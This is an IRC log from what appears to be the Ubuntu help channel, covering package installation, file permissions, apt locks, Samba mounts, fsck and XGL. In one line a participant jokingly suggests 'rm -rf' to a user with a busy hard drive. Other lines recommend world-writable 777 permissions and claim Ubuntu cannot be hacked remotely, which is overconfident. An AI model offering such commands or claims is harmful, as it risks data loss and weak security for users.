[01:15] <Jemt> polpak: Ok, good
[01:15] <sean33> maybe they market to ISP's my company use to run a few dozzen of them
[01:15] <marky> _jason the wmv i'm trying to play is on a xp machine on my network , i can see the file and proberbly copy to my hd but i wan na stream it any ideas?
[01:16] <polpak> Jemt, yeah but without the surrounding ' marks
[01:16] <Jemt> polpak: Is this meta data included in the file headers or in some sort of file table on the partition?
[01:16] <polpak> Jemt, partition info
[01:16] <Jemt> polpak: Yes, of cause :)
[01:16] <Jemt> polpak: So if I copied the files to a CD, the permissions wouldn't be copied with them?
[01:16] <_jason> marky: no experience with that sorry
[01:17] <polpak> Jemt, files on cd's don't have any permissions
[01:17] <Unity> nickrud: what needs reconciling?
[01:17] <LethalSword> should i install every codec on the site?
[01:17] <polpak> Jemt, they just use a permission mask when the cd is mounted
[01:17] <Jemt> polpak: Well, they shouldn't have permissions on FAT32 either ;)
[01:17] <polpak> LethalSword, if you want to. If you don't then you don't have to
[01:17] <polpak> Jemt, FAT32 files have read and write permissions
[01:17] <nickrud> Unity: I cannot concieve (based on experience, which only so useful) of files on vfat partitions having dynamic permissions
[01:18] <bimberi> nickrud: windows allows a file to be set readonly, maybe the vfat fs driver is recognising that
[01:18] <Jsm> is their a way i can chown all the child folders?
[01:18] <sorush21> I'm not sure If I installed the grub to the MBR or the root partition how do I find out and is there a way I can remember ?
[01:18] <Jsm> of a folder
[01:18] <marky> _jason when i copied the wmv to my desktop it worked in mplayer but jst not over the network
[01:18] <Jemt> polpak: yeah, but look at my screenshot : http://powerzone.dk/Screenshot.png
[01:18] <Jemt> polpak: It's all on a FAT32 partition
[01:18] <_jason> Jsm: only folders? (not files)
[01:18] <Jemt> polpak: And I have given a file the execution flag
[01:18] <Jsm> _Jason i mean all child files / folders
[01:18] <Intangir> hello
[01:18] <_jason> Jsm: chown -R
[01:18] <LethalSword> how easy is it to hack ubuntu?
[01:18] <[nyk] > what's the package to apt-get to install gnome (and X) on a base install? (had not enough hdd for default install)
[01:18] <Jsm> thanks
[01:19] <Intangir> is 5.10 the dapper.. version or badger
[01:19] <LethalSword> badger
[01:19] <marky> breezy
[01:19] <Intangir> i cant find the list ofversion
[01:19] <Intangir> s
[01:19] <polpak> LethalSword, not possible w/o physical access to the box or the admin of the system installing insecure daemons post install
[01:19] <Intangir> where do i get the dapper version
[01:19] <LethalSword> good
[01:19] <marky> use 10.1 breezy
[01:19] <bimberi> !getdapper
[01:19] <ubotu> from memory, getdapper is http://cdimage.ubuntu.com/releases/dapper/flight-4/ or get a daily build from http://cdimage.ubuntu.com/daily/current/
[01:19] <LethalSword> cuz i was hacked on windows
[01:19] <Unity> nickrud: true that, but i dunno why that would happen. and any reason you are asking me in particular?
[01:20] <polpak> Jemt, so it should be ok
[01:20] <bimberi> ooh, that getdabber factoid is out of date
[01:20] <Intangir> i heard that XGL only works on dapper
[01:20] <polpak> LethalSword, not terribly surprising
[01:20] <bimberi> *getdapper    even :P
[01:20] <Kelsey23> ROFL
[01:20] <_jason> [nyk] : gnome-desktop-environment afaik
[01:20] <Jsm> _jason can i do the same with chmod?
[01:20] <_jason> Jsm: yep
[01:20] <fredrich> bah...how do i recover a password from nickserv?
[01:21] <[nyk] > _jason: thanks a lot, it's hard to find on console, in the small screen of the laptop
[01:21] <fuz> a quick question for all you experts.. do you think I would be better off going for dapper5 or breezy for a fresh Xgl enabled system??
[01:21] <Phuzion`> Suppose I'm remotely working on my machine, and it asks me to insert the Ubuntu install CD, do I have to, or is it able to get the information necessary from the internet?
[01:21] <polpak> [nyk] , you can pipe the output of a command to less then page through or search within the results
[01:21] <[nyk] > nope
[01:21] <Jsm> you can use the repostory
[01:22] <Phuzion`> So, just hit enter without putting in the CD?
[01:22] <[nyk] > polpak: yeah I using less but so many packages, yet not the right
[01:22] <polpak> Phuzion, you can get it online.. You just have to disable the CD repository in your sources.list file and enable the appropriate online repos
[01:22] <khom2690> !ubotu what is apt
[01:22] <ubotu> khom2690: I think you lost me on that one
[01:22] <_jason> ubotu: tell khom2690 about apt
[01:22] <Phuzion`> !ubotu what is apt-get
[01:22] <ubotu> Phuzion`: what are you talking about?
[01:22] <Jsm> whats the number for read / right / execute for all users  / ground in chmod (i know its not secure but my laptop is behind a router)
[01:22] <nickrud> Unity: no other reason, except I think I saw you taling about perms before, and i am grasping at straws on this on
[01:22] <Phuzion`> ubotu seems to be down at the moment
[01:22] <ubotu> parse error: Try searching at http://ubuntu.cc.com.au/, Phuzion`
[01:22] <Phuzion`> Jam: 777
[01:23] <_jason> Phuzion`: he is working, check your private messages for info on apt
[01:23] <Phuzion`> jsm:*
[01:23] <fuz> nobody? fresh Xgl setup... go with dapper or breezy?
[01:23] <khom2690> _jason, how do I ask ubotu questions?
[01:23] <Phuzion`> _jason:  Nothing
[01:23] <tritium> !tell fuz about xgl
[01:23] <polpak> Jsm, you can do it the new less hardcore way (w/o numbers) with something like chmod ugo=rwx
[01:23] <_jason> Phuzion`: never mind, confused you with khom2690 :)
[01:23] <rukuartic> ubotu, tell khom2690 about yourself
[01:23] <Jsm> yay! :D bugzilla is installing
[01:23] <Intangir> has anyone installed XGL on 5.10?
[01:23] <marky> anyone know why i can't play wmvs over my network? they work locally ! bugger
[01:23] <Phuzion`> ubotu tell Phuzion` about yourself
[01:23] <polpak> Intangir, no.. I did install it on my dapper box though
[01:24] <Unity> nickrud: many ppl here probably know a lot more about ubuntu than i do
[01:24] <fredrich> does anyone know how to recover a nickserv password?
[01:24] <Phuzion`> This network?
[01:24] <_jason> fredrich: #freenode may be more helpful
[01:24] <tritium> fredrich: /msg nickserv help
[01:24] <Jsm> better install mysql ;)
[01:24] <nickrud> Unity: likewise, my apologies for draggin' you in
[01:24] <Unity> marky: what network fs are you using?
[01:24] <LethalSword> well i got to go
[01:24] <Phuzion`> Where would the sources list be on my machine?
[01:24] <LethalSword> thank you all for ur help :p
[01:24] <Unity> nickrud: np. i'm just saying you might get better answers if you ask everyone
[01:24] <_jason> Phuzion`: /etc/apt/sources.list
[01:24] <marky> unity i don't understand
[01:25] <Unity> marky: are you using samba or nfs?
[01:25] <marky> the file is on a windows box
[01:25] <marky> samba i think
[01:25] <ab0rted> got a question
[01:25] <Intangir> so i better get dapper if i want to install it eh?
[01:25] <nickrud> Unity: np
[01:25] <marky> i can see it , copy it then it'll play
[01:25] <ab0rted> does ubuntu support usb drives?
[01:25] <marky> but not over the network
[01:25] <Unity> mary: some players have trouble with samba urls
[01:25] <Falstius> ab0rted: generally.
[01:25] <Unity> =(
[01:25] <Unity> marky: some players have trouble with samba urls
[01:25] <ab0rted> cause i need to backup all my files to my usb external hdd
[01:25] <ab0rted> will it detect it?
[01:26] <ab0rted> and work properly
[01:26] <bimberi> ab0rted: mine does, ymmv
[01:26] <Intangir> bah ill just pass for now, im still using gnome, but im giving seirous thought to trying out ubuntu
[01:26] <Falstius> ab0rted: it should detect it automatically, mount it and open up a window asking what you want to do with it.
[01:26] <ab0rted> cause most distros i have used dont....
[01:26] <Intangir> seems neat
[01:26] <Intangir> i mean im using gentoo
[01:26] <bimberi> ab0rted: sounding less promising with each post
[01:26] <Unity> marky: maybe mount it first: sudo mount -t smbfs //server/share /mount/point -o username=Marky,password="yourpassword"
[01:26] <nickrud> bimberi: this is very annoying.
[01:26] <Phuzion`> _jason:  So, I commented out the CD in my sources list, and it's saying "
[01:26] <Phuzion`> E: Could not get lock /var/lib/apt/lists/lock - open (11 Resource temporarily unavailable)
[01:26] <Phuzion`> E: Unable to lock the list directory
[01:26] <Falstius> ab0rted: why don't you just plug it in and try?
[01:27] <ab0rted> ok than thanks a lot :)
[01:27] <Falstius> Phuzion, do you have synaptic or aptitude open?
[01:27] <frank23> Phuzion`: close synaptic and any other apt program
[01:27] <ab0rted> if i have any problems ill come back
[01:27] <ab0rted> laters
[01:27] <Unity> Phuzion: if you are sure that apt and synaptic aren't running, then remove the lock manually
[01:27] <Jsm> how do i start mysql if its installed via synaptic ?
[01:27] <Phuzion`> Falstius:  I don't think so, this is all through terminal
[01:27] <_jason> Phuzion`: make sure you are using sudo in addition to the above comments
[01:27] <frank23> Phuzion`: try  ps aux | grep apt
[01:27] <Phuzion`> Logged in as root, so it's not a problem
[01:27] <marky> unity i'll try
[01:27] <[nyk] > just did apt-get install gedit...
[01:28] <[nyk] > works..
[01:28] <polpak> marky, you can install smbfs and smb4k and mount your network drives directly to the fs.. Then all your apps can see stuff on samba drives
[01:28] <bimberi> nickrud: the vfat thing?  i've certainly never seen it.  is the file set readonly in windows?
[01:28] <Unity> polpak: there is actually a tiny problem with that...the system may hang if the server turns off while a share is mounted
[01:28] <Jsm> how do i start mysql if its installed via synaptic ?
[01:29] <fluxt> how do i issue a shell command from within awk?
[01:29] <fredrich> If i connect a external mp3player, it's not read/writable for other users, any ideas how to remedy it (since me and my gf sometimes borrow eachothers mp3player)
[01:29] <marky> before my hardrive died my ubuntu was the best i fixed all the little n iggles, but i'm on square 1 again
[01:29] <nickrud> bimberi: it's not that, the executable bit is different, as well
[01:29] <HedgeMage> Sorry about that... forgot to turn my client at home off.
[01:29] <bimberi> nickrud: ah, kk -ENOCLUE then sorry :\
[01:30] <polpak> Jsm, /etc/init.d/mysqld restart or something similiar
[01:30] <nickrud> bimberi: something is off, so, I'll just let it go ...
[01:30] <Phuzion`> Alright, I did the ps aux | grep apt thing, and killed the apt processes
[01:30] <Phuzion`> It's still giving me the lock
[01:30] <hollywood> I am trying to run etherape and i keep getting an error. " Error getting device. no suitable device found"
[01:30] <HedgeMage> Two points for ubuntu, by the way... didn't have time to install anything on the new laptop, but I'm sitting at the library on their wifi thanks to an ubuntu livecd I had in my backpack :)
[01:30] <Unity> Phuzion: if you killed apt, then it didn't free the lock
[01:30] <YukiCuss> HedgeMage,  they always come in handy at unexpected times :)
[01:30] <Phuzion`> Unity:  How do I free the lock?
[01:30] <HedgeMage> YukiCuss, Yep!
[01:30] <Unity> Phuzion: so sudo rm the lock
[01:31] <nickrud> HedgeMage: don't forget to give a point to the manufacturer as well
[01:31] <hollywood> I am trying to run etherape and i keep getting an error. " Error getting device. no suitable device found"
[01:31] <HedgeMage> nickrud, true, true :)
[01:31] <Phuzion`> Could not get lock /var/lib/apt/lists/lock - open (11 Resource temporarily unavailable)
[01:31] <Phuzion`> What would I remove?
[01:31] <HedgeMage> nickrud, and to the gentleman who gave me this awesome laptop for $100
[01:31] <nickrud> Phuzion: you have one of synaptic, aptitude, or an apt-get session open
[01:31] <Unity> Phuzion`: sudo rm -i /var/lib/apt/lists/lock
[01:32] <Phuzion`> Unity:  Thanks
[01:32] <Unity> nickrud: he killed the processes
[01:32] <nickrud> Unity: ah
[01:32] <tonkar> i Ubuntu Users!
[01:32] <tonkar> hi!
[01:32] <NeverDream> 'lo!
[01:33] <hollywood> I am trying to run etherape and i keep getting an error. " Error getting device. no suitable device found"
[01:33] <_Jsm> mm anyone else know start mysql 4.1 installed thru package manger
[01:33] <mcs> Jsm: start the daemon by /etc/init.d/mysql start
[01:33] <YukiCuss> _Jsm, what mcs said. n_n
[01:33] <tonkar> i have a question for you ..., i'm trying to configure samba but it doesn't works, does someone know how to configure samba?
[01:34] <_Jsm> james@Linux:/sbin$ /etc/init.d/mysql start
[01:34] <_Jsm> bash: /etc/init.d/mysql: No such file or directory
[01:34] <Unity> hollywood: the reason no one has answered yet is because no one knows or no one wants to answer. repeating the question every minute or so wont help
[01:34] <marky> even mp3s wont stream in xmms from my network , something is really wrong
[01:34] <Falstius> _Jsm, try mysqld_safe.
[01:34] <hollywood> does it need to be set up at all after installing?
[01:34] <Falstius> It might not be in the path though, so slocate it.
[01:34] <unfo> tonkar: what did you try already?
[01:34] <solid_liq> hey, what package do I install to get a standard java jvm?
[01:34] <tonkar> mmm ...
[01:35] <Unity> tonkar: try `man smb.conf' or the wiki
[01:35] <nickrud> solid_liq: j2re-1.4 from multiverse, or see !java
[01:35] <ag0g0girl> the synaptic how to page doesn't say how I can add a packages from my local machine.
[01:35] <nickrud> !java
[01:35] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[01:35] <rukuartic> Anyone know how I can list the files which grep finds matches? eg: if I type grep key *.log, to get it to name the files it finds it in?
[01:35] <tonkar> i downloaded samba with the atp-get install and played a while with smb.conf
[01:35] <solid_liq> nickrud: thanks!
[01:35] <tonkar> but nothing ...
[01:35] <YukiCuss> rukuartic, -H
[01:35] <YukiCuss> ie. grep -H key *.log
[01:35] <solid_liq> ubotu: thanks!
[01:35] <ubotu> solid_liq: de nada
[01:35] <Unity> tonkar: theres a front-end to configuring samba somewhere in the system menus...under share i think
[01:36] <nickrud> !ubotu
[01:36] <ubotu> Yep, that's me! I'm a bot alright. Read http://wiki.ubuntu.com/UbotuUsage to find out how to use me. Do NOT play with me in any channel except #debian-bots.
[01:36] <rukuartic> YukiCuss: Doh... read manpage first. T_T Thanks
[01:36] <Toma-> ag0g0girl: you downloaded a deb package?
[01:36] <Falstius> tonkar, you can do simple configuration using the sytem->administration->shared folders interface.
[01:36] <YukiCuss> rukuartic, or even just --help. :)
[01:36] <solid_liq> ah cool :D
[01:36] <Unity> nickrud: theres nothing wrong with thanking a robot
[01:36] <_Jsm> opps my mistake helps if i install the right thing
[01:36] <tonkar> ok .... i will try ;)
[01:36] <jadaz87> does anyone know why when i install something with add applications it says there is a new item in the menu but it does not sho up? :(
[01:36] <tonkar> mmm ... but
[01:37] <silvaran> !botsnack
[01:37] <ubotu> thanks silvaran :)
[01:37] <ag0g0girl> yes toma I downloaded the mozilla personal security manager package
[01:37] <Toma-> jadaz87: you need to refresh the gnome panel (hit alt-f2 then run killall gnome-panel)
[01:37] <silvaran> Geesh I almost typed botsnatch...
[01:37] <tonkar> my problem is not the share of my directories
[01:37] <IO-Jupiter> Hi! I read in the foruns something about Data corruption in the LVM2 LVs after installing kubuntu flight 4. Does anybody know if it is safe now (flight 5)? Is there a way to leave LVM and EVMS out during installation?
[01:37] <Inf3ctedFx> Hello ppl
[01:37] <tonkar> the problem is that i don't see other computers
[01:38] <Inf3ctedFx> does anybody knows about the new technology calls XGL from Novel?
[01:38] <eugman> Just curious, is there any way to make an account invisible to all non admin accounts?
[01:38] <_Jsm> !bot
[01:38] <ubotu> Yep, that's me! I'm a bot alright. Read http://wiki.ubuntu.com/UbotuUsage to find out how to use me. Do NOT play with me in any channel except #debian-bots.
[01:38] <_jason> !xgl
[01:38] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[01:38] <Toma-> ag0g0girl: you can open up a terminal (Apps > Accessories > Terminal) then cd into the packages directory (possibly Desktop) then run 'sudo dpkg -i nameofthepackage_0.1.whatever.deb'
[01:38] <_Jsm> !botsnack
[01:38] <ubotu> thanks _jsm :)
[01:38] <_Jsm> !bothelp
[01:38] <ubotu> _Jsm: Syntax error in line 1. Try searching at http://ubuntu.cc.com.au/
[01:38] <silvaran> _Jsm: ^^^ (ubotuusage)
[01:38] <rukuartic> YukiCuss: What about looking for two words (eg: kicked AND banned)?
[01:38] <kettles> what si the default root password in 5.10
[01:38] <Inf3ctedFx> so it works only on drapper???
[01:39] <_jason> ubotu: tell kettles about root
[01:39] <tonkar> do i need to specify the workgroup? or it should recognize it alone?
[01:39] <rukuartic> kettles: Whatever you typed in for your password
[01:39] <kettles> ok
[01:39] <kettles> thx
[01:39] <Toma-> Inf3ctedFx: yes. and on some systems, not very well
[01:39] <rukuartic> kettles: But you can't login as root
[01:39] <kettles> why not?
[01:39] <jadaz87> tomathanks
[01:39] <rukuartic> kettles: Its much more secure to use sudo.
[01:39] <kettles> k
[01:39] <Inf3ctedFx> so what do u guys recomment? upgrade to drapper?? or saty for a while with breezy?
[01:39] <_Jsm> !ubotuusage
[01:39] <Toma-> jadaz87: np
[01:39] <rukuartic> kettles: If you absolutely must login as root, use sudo -i
[01:39] <ubotu> _Jsm: Huh? Try searching at http://ubuntu.cc.com.au/
[01:39] <_jason> kettles: take a look at your private messages from ubotu
[01:39] <_jason> ubotu: tell _Jsm about msg the bot
[01:39] <marky> _jason its wierd now i got totem working, it does everything mp3s etc wmv over the network, but xmms wont stream mp3s and vlc or mplayer doesn't stream wmv or mpeg etc
[01:40] <kettles> k
[01:40] <silvaran> _Jsm: Try "/msg ubotu bot" :)
[01:40] <Falstius> Inf3ctedFx: unless you're a linux wizz, you're probably better off sticking with breezy and not worrying about XGL.  If you are ... why are you asking us?
[01:40] <Toma-> Inf3ctedFx: try flight 5 on a seperate partition, if you have one. bug testing and reporting is invaluable
[01:40] <polpak> Inf3ctedFx, I'd stick with Breezy.. Dapper will be here soon enough
[01:40] <jadaz87> toma it still does not show :-\ i install the anti virus and it says it is in Applications>accesories but it is not
[01:40] <ag0g0girl> that bot doesn't make any sense
[01:40] <YukiCuss> MMMMMmmmmmmmmmmmmm.... FRESH MEAT.
[01:40] <jadaz87> toma even after i di what you told me :-\
[01:40] <polpak> Inf3ctedFx, or do as Toma- suggests if you want to contribute
[01:40] <Toma-> jadaz87: anti-virus? in linux? :| what antivirus?
[01:40] <Inf3ctedFx> hahah u r right polpak  i'm learnig with linux... now wht r the pro or contras about xgl?
[01:40] <rukuartic> Anyone know how to search for two words at the same time with grep?
[01:41] <nickrud> ag0g0girl: which ubotu factoid didn't make sense?
[01:41] <OmegaAlpha> anyone know a utility to check for errors on a partition?
[01:41] <polpak> Inf3ctedFx, it's not quite stable yet
[01:41] <_Jsm> is their virus's in linux?
[01:41] <rukuartic> Toma-, jadaz87, what viruses to begin with? :P
[01:41] <nickrud> OmegaAlpha: fsck
[01:41] <Toma-> OmegaAlpha: fsck
[01:41] <polpak> OmegaAlpha, fsck
[01:41] <silvaran> OmegaAlpha: physical errors or filesystem corruption?
[01:41] <Inf3ctedFx> ok polpak  is better wait more....
[01:41] <Inf3ctedFx> right?
[01:41] <Toma-> exactly
[01:41] <Inf3ctedFx> cool ok guys thx.. thats all I need to know
[01:41] <nyk2005> I installed gdm and gedit with all dependencies with apt-get (gnome, X11), but can't start up X with startx! (xinit: no such process!)
[01:41] <rukuartic> Go nickrud
[01:41] <Toma-> nickrud: only because i was lagged :)
[01:41] <polpak> Inf3ctedFx, if you aren't terribly experienced I'd say just w/ breezy
[01:41] <OmegaAlpha> hmm i guess fsck is it eh? hehe
[01:41] <marky> lol
[01:41] <nickrud> excuses, excuses
[01:42] <silvaran> nyk2005: apt-get install ubuntu-desktop should get everything...
[01:42] <Toma-> i have the ping of a dialup'er :( hence why i dont play games on US servers
[01:42] <jadaz87> toma-, rukuartic aegis anti-virus
[01:42] <OmegaAlpha> is there another utility? fsck finds shite loads of errors and i dont know exactly what it means when it asks me what to do with them...
[01:42] <Inf3ctedFx> ok  polpak  thx.. another question if I want to install KED on ubuntu.. just go to the apt-get?
[01:42] <jadaz87> toma-, rukuartic it comes with ubuntu
[01:42] <OmegaAlpha> like name lengths and what not...
[01:42] <rukuartic> jadaz87: clamav?
[01:42] <nickrud> Toma-: ok, you got fact on your side
[01:42] <Falstius> nyk2005: check your .xsession file to see what it is trying to start.  Or just run gdm (/etc/init.d/gdm)
[01:42] <polpak> OmegaAlpha, most likely you just want to say yes to the errors
[01:42] <Toma-> kekeke ^_^
[01:42] <OmegaAlpha> unless my harddrives files are beyond repair
[01:43] <polpak> OmegaAlpha, there might be some data lost, but it's generally pretty good
[01:43] <jadaz87> rukuartic nope go to add applications and search for "aegis"
[01:43] <polpak> OmegaAlpha, yeah, there is that
[01:43] <bimberi> OmegaAlpha: fsck :P
[01:43] <YukiCuss> kkekke zerg rush.
[01:43] <silvaran> OmegaAlpha: If you're unsure, back it up somewhere else with dd, and go ahead and fix it (DON'T check/repair a filesystem that is mounted).
[01:43] <jadaz87> rukuartic and you will see what i mean
[01:43] <OmegaAlpha> polpak, it wanted to know if i wanted to drop alot of files
[01:43] <Inf3ctedFx> how can I install KDE???  just apt-get install kde??
[01:43] <bimberi> Inf3ctedFx: kubuntu-desktip
[01:43] <Unity> that reminds me, i'm due to fsck
[01:43] <_jason> Inf3ctedFx: kubuntu-desktop
[01:43] <bimberi> *top
[01:43] <nickrud> Inf3ctedFx: kubuntu-desktop
[01:43] <nyk2005> Falstius: I try
[01:43] <Inf3ctedFx> ok apt-get kubunut-desktop?
[01:43] <jadaz87> you do not want kde LOL
[01:43] <gazanfer> hello. i was trying to install an application, and i got an error while configuring. it is: "checking for C compiler default output... configure: error: C compiler cannot create executables". can anyone help me?
[01:43] <nyk2005> silvaran: 1gb is too much.. :(
[01:43] <YukiCuss> jadaz87, why not?
[01:43] <polpak> OmegaAlpha, as silvaran make sure the partition isn't mounted or is at least mounted Read only before fscking i
[01:43] <_jason> Inf3ctedFx: sudo aptitude install kubuntu-desktop
[01:44] <Unity> jadaz87: everyone has their preferences
[01:44] <YukiCuss> ganadist, sudo apt-get install build-essential
[01:44] <Inf3ctedFx> why not jadaz87 ?
[01:44] <Toma-> OmegaAlpha: if youre getting an error on everyfile, make sure youre not running fsck with the wrong fs type. i did once back in the old days, completely destroyed my system. And yes, it did ask me to fix each file with a Y/N so i devised a system involving a screwdriver and my keyboard to hold Y down :)
[01:44] <bimberi> nickrud: lol!!
[01:44] <rukuartic> jadaz87: xfce!!
[01:44] <Unity> jadaz87: best let them try and see before telling them to stay away
[01:44] <polpak> OmegaAlpha, as silvaran says I mean
[01:44] <_jason> nyk2005: yeah, ubuntu-desktop will give you the whole thing.  I thought you said space issues though?
[01:44] <jadaz87> yeah i guess so
[01:44] <Titan> tried running winecfg and got this insteed....   err:imagelist:ImageList_ReplaceIcon no color!
[01:44] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[01:44] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[01:44] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[01:44] <Titan> Application tries to create a window, but no driver could be loaded.
[01:44] <rukuartic> Toma-: Oh my goodness
[01:44] <Titan> Make sure that your X server is running and that $DISPLAY is set correctly.
[01:44] <Falstius> Toma-: I'm pretty sure there is a switch for that :-P
[01:44] <OmegaAlpha> Toma-, lol
[01:44] <polpak> Toma-, you can just do  yes | fsck
[01:44] <rukuartic> !tell Titan about pastebin
[01:44] <Inf3ctedFx> ok but I still can use gnome anytime right? i'm not gonna get stuck on kde right?
[01:44] <Toma-> haha not for fsck :D
[01:44] <jadaz87> but maybe that is why ubuntu comes with gnome by default :-)
[01:44] <nyk2005> _jason: yeah only 900megs left. 1gb needed.
[01:44] <Titan> rukuartic what is that?
[01:44] <nyk2005> _jason: will have to use pm
[01:44] <Falstius> Titan: are you running wine under a 32bit chroot on a 64bit machine?
[01:44] <OmegaAlpha> Toma-, how do you know if its going to work with the right file system type
[01:45] <rukuartic> Titan: Check out the link ;)
[01:45] <rukuartic> Titan: Its like multiplayer notepad
[01:45] <Toma-> polpak: hehe i wont be doing that anymore
[01:45] <rukuartic> Titan: and it doesn't spam the channel
[01:45] <ag0g0girl> mozilla-psm_1.7.1.2-Oubuntu2_powerpc.deb
[01:45] <OmegaAlpha> mine is fat32... i share it with windows and linux
[01:45] <silvaran> rukuartic: screen + vi IS multiplayer notepad :)
[01:45] <ag0g0girl> I have it now how do i install it
[01:45] <gazanfer> hello. i was trying to install an application, and i got an error while configuring. it is: "checking for C compiler default output... configure: error: C compiler cannot create executables". can anyone help me?
[01:45] <Unity> !deb
[01:45] <ubotu> To install a .deb file: sudo dpkg -i filename.deb  (but note that the program you want might be installable using !apt from the !repos)
[01:45] <_Jsm> youv said that before
[01:45] <YukiCuss> gazanfer, , sudo apt-get install build-essential
[01:45] <Toma-> OmegaAlpha: check your filesystem type on the drive, then check again. then just use the appropriate fsck.ext2 or .vfat and so on
[01:45] <gazanfer> YukiCuss, thanks
[01:45] <_Jsm> !ubout
[01:45] <ubotu> What? Try searching at http://ubuntu.cc.com.au/, _Jsm
[01:45] <YukiCuss> gazanfer, sorry, I said that before to the wrong person :)
[01:45] <V4Vendetta> !dma
[01:45] <jadaz87> hold on brb
[01:46] <silvaran> holy lipton...
[01:46] <Unity> ag0g0girl: see ubotu's reply to !deb
[01:46] <gazanfer> :)
[01:46] <nickrud> ag0g0girl: why not install it from the ubuntu repos?
[01:46] <Toma-> ahh bbl. watching a movie.
[01:46] <V4Vendetta> do i need to enable dma after each reboot?
[01:46] <Titan> Falstius: no, I am runnign a 32bit system
[01:46] <_jason> nyk2005: x-windows-system-core, gives you basic X I believe
[01:46] <_Jsm> !tell gazanfer about gcc
[01:46] <OmegaAlpha> well heres a problem im having.. my harddrive wont stop reading when i turn it on
[01:46] <nadia007> how can see my network shares via ubuntu gui interface, like "open file"?
[01:46] <OmegaAlpha> is there a kill command that will stop it?
[01:46] <Unity> OmegaAlpha: maybe it's updatedb running
[01:46] <Falstius> Titan: then I have no idea :)
[01:46] <rukuartic> OmegaAlpha: Halt?
[01:46] <YukiCuss> OmegaAlpha, poweroff! :)
[01:46] <Titan> Falstius: ok, thanks anyhow.
[01:47] <silvaran> rm -rf!  It'll make the problem worse, but only briefly :)
[01:47] <nickrud> ag0g0girl: sudo aptitude install mozilla-psm
[01:47] <gazanfer> _Jsm, hey i know about gcc, i just didnt knew i needed that essential package :)
[01:47] <Inf3ctedFx> thx ppl... brb
[01:47] <silvaran> gazanfer: apt-get install build-essential ?
[01:47] <polpak> OmegaAlpha, only time I had that happen to me was when I had a worm on a redhat box
[01:47] <gazanfer> silvaran, yep. i just learned it. its really fun being a noob
[01:48] <silvaran> heh...
[01:48] <Unity> if i check something out with cvs, i can just ./configure && make, right? no special procedure to compile?
[01:48] <OmegaAlpha> well my harddrive got messed up during a resizingi and moving a partition with partition magic... it frozed during the process...
[01:48] <silvaran> gazanfer: Google is your friend... if you can't find a solution, search for the problem, it'll usually lead to the solution...
[01:48] <V4Vendetta> can somone help me with a dma question
[01:48] <YukiCuss> Unity, depends on the project.
[01:48] <polpak> OmegaAlpha, ouch
[01:48] <OmegaAlpha> now i have all these new files that have random characters as their names... and my old files arent there
[01:48] <nickrud> V4Vendetta: yeah, shoot
[01:48] <Falstius> OmegaAlpha: you could download the manufactures boot CD and do a low level format .... I sure hope you didn't want those files :)
[01:48] <Unity> YukiCuss: assuming i get a ./configure script and a bunch of makefiles in the source tree?
[01:48] <OmegaAlpha> should i attempt to fix.. recover.. or is it garbage now?
[01:48] <YukiCuss> Unity, well, quite likely in tha tcase.
[01:48] <_Jsm> quick question its offtopic but any one know the defult user for bugzilla?
[01:48] <YukiCuss> in that case*
[01:48] <_jason> what is the difference between x-windows-system-core and xserver-xorg-core ?
[01:49] <V4Vendetta> nickrud, i remember enabling dma on /dev/hda and /dev/hdb but when i reboot it always reverts, i have now added the lines to hdparm.conf it should auto enable it from now on right
[01:49] <_Jsm> wait ill rtfm
[01:49] <V4Vendetta> nickrud, i would have never noticed it except watching a dvd was choppy.
[01:49] <silvaran> !info x-windows-system-core
[01:49] <Phuzion`> Was the pure-ftpd package removed from the repository?
[01:49] <Falstius> _jason: x-windows-system-core includes a bunch of x utilities, xserver-xorg-core is just the xserver.
[01:49] <nickrud> _jason: theoretically (package wise) I'd expect them to be equivalent ; what do the depends say?
[01:49] <OmegaAlpha> Falstius, i have a cd that came with the harddrive... well they were all p2p dled files.. i can dl them again but it will take a while
[01:49] <silvaran> _jason: One of them's not in breezy :)
[01:49] <sanbec> Hirvinen, now upgrading to Dapper
[01:49] <Falstius> x-windows-system-core should depend on xserver-xorg.
[01:49] <Titan> Can anyone help with this winecfg problem? http://paste.ubuntu-nl.org/10313
[01:49] <solid_liq> I can't find j2re-1.4 in universe, multiverse, etc.
[01:49] <nickrud> V4Vendetta: yes, they should
[01:49] <rukuartic> sanbec: Backup your files?
[01:49] <_jason> !info j2re-1.4
[01:50] <Hirvinen> sanbec: Wtf?
[01:50] <OmegaAlpha> if i do a low level format.. thatll just wipe everythign out anyways right? as for backing up the files.. there are a lot and they arent what i had there.. they are new.. i think form the error
[01:50] <V4Vendetta> nickrud, okay thanks.
[01:50] <Falstius> OmegaAlpha: You might be able to fix it, I can't say.
[01:50] <OmegaAlpha> anyone care tos ee what it looks like? i have a screenshot
[01:50] <sanbec> I have /home in anothe disk
[01:50] <_jason> solid_liq: it's j2re1.4, no -
[01:50] <nickrud> solid_liq: if you'd paste your /etc/apt/sources.list, I'll look them over
[01:50] <solid_liq> !info j2re
[01:50] <V4Vendetta> !java
[01:50] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[01:50] <nickrud> !info j2re-1.4
[01:50] <V4Vendetta> j2re-1.4 is very bad quality
[01:50] <_jason> !info j2re1.4
[01:50] <btdown> !freenx
[01:50] <V4Vendetta> i suggest the sun 1.5
[01:50] <ubotu> well, freenx is https://wiki.ubuntu.com/FreeNX
[01:50] <ubotu> j2re1.4: (Blackdown Java(TM) 2 Runtime Environment, Standard Edition), section multiverse/devel, is optional. Version: 1.4.2.02-1ubuntu3 (breezy), Packaged size: 21982 kB, Installed size: 58892 kB
[01:51] <nickrud> old, yes, bad quality, no
[01:51] <OmegaAlpha> i would love just to format it and start over since its easier.. but... if its repairable then i rather repair but its been time consuming already trying to figure otu what to do lol
[01:51] <V4Vendetta> in my exp it doesn't work for alot of apps
[01:51] <V4Vendetta> azureus being one of them
[01:51] <nickrud> old, yes
[01:51] <Titan> Can anyone help with this winecfg problem? http://paste.ubuntu-nl.org/10313
[01:51] <OmegaAlpha> what is the error was somethign about clusters being misplaced or lost?
[01:51] <marky> anyone know why totem works streaming but mplayer vlc, xmms doesn't? anyone?
[01:52] <Phuzion`> Where should I install my FTP server?
